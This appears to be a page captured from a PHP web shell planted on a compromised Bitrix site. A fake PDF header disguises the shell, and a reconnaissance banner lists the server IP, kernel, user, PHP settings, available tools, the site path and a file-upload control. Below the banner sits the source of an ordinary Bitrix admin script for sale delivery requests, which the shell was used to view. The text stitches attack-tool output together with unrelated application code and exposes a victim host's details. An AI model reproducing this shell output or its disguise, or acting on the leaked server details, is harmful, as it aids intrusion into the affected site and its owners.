%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.110.253 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/admin/ |
Upload File : |
<? use \Bitrix\Main\Localization\Loc; require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); Loc::loadMessages(__FILE__); global $APPLICATION; $APPLICATION->SetTitle(Loc::getMessage('SALE_DELIVERY_REQUEST_SEND')); if ($APPLICATION->GetGroupRight("sale") < "U") $APPLICATION->AuthForm(Loc::getMessage('SALE_DELIVERY_REQUEST_ACCESS_DENIED')); $adminErrorMessages = array(); if (!\Bitrix\Main\Loader::includeModule('sale')) $adminErrorMessages = "Error! Can't include module \"Sale\""; $shipmentIds = array(); $shipmentsIdsByDelivery = array(); $deliveryClass = array(); $action = isset($_REQUEST['ACTION']) ? $_REQUEST['ACTION'] : ''; $backUrl = isset($_REQUEST['BACK_URL']) ? $_REQUEST['BACK_URL'] : ''; if(isset($_REQUEST['SHIPMENT_IDS']) && is_array($_REQUEST['SHIPMENT_IDS'])) { $shipmentIds = $_REQUEST['SHIPMENT_IDS']; } elseif(isset($_SESSION["SALE_DELIVERY_REQUEST_SHIPMENT_IDS"]) && is_array($_SESSION["SALE_DELIVERY_REQUEST_SHIPMENT_IDS"])) { $shipmentIds = $_SESSION["SALE_DELIVERY_REQUEST_SHIPMENT_IDS"]; //unset($_SESSION["SALE_DELIVERY_REQUEST_SHIPMENT_IDS"]); } foreach($shipmentIds as $id => $shipmentId) $shipmentIds[$id] = intval($shipmentId); if(empty($shipmentIds)) { $adminErrorMessages[] = Loc::getMessage('SALE_DELIVERY_REQUEST_SHIPMENT_IDS_EMPTY'); } require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php"); if(!empty($adminErrorMessages)) { $adminMessage = new CAdminMessage( array( "DETAILS" => implode("<br>\n", $adminErrorMessages), "TYPE" => "ERROR", "HTML" => true ) ); echo $adminMessage->Show(); } else { $context = new CAdminContextMenu(array( array( "TEXT" => !empty($backUrl) ? Loc::getMessage('SALE_DELIVERY_REQUEST_BACK') : Loc::getMessage('SALE_DELIVERY_REQUEST_LIST'), "LINK" => !empty($backUrl) ? $backUrl : "/bitrix/admin/sale_delivery_request_list.php?lang=".LANGUAGE_ID, "ICON" => "btn_list" ) )); $context->Show(); $APPLICATION->IncludeComponent( "bitrix:sale.delivery.request", "", array( "SHIPMENT_IDS" => $shipmentIds, "ACTION" => $action ) ); } require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");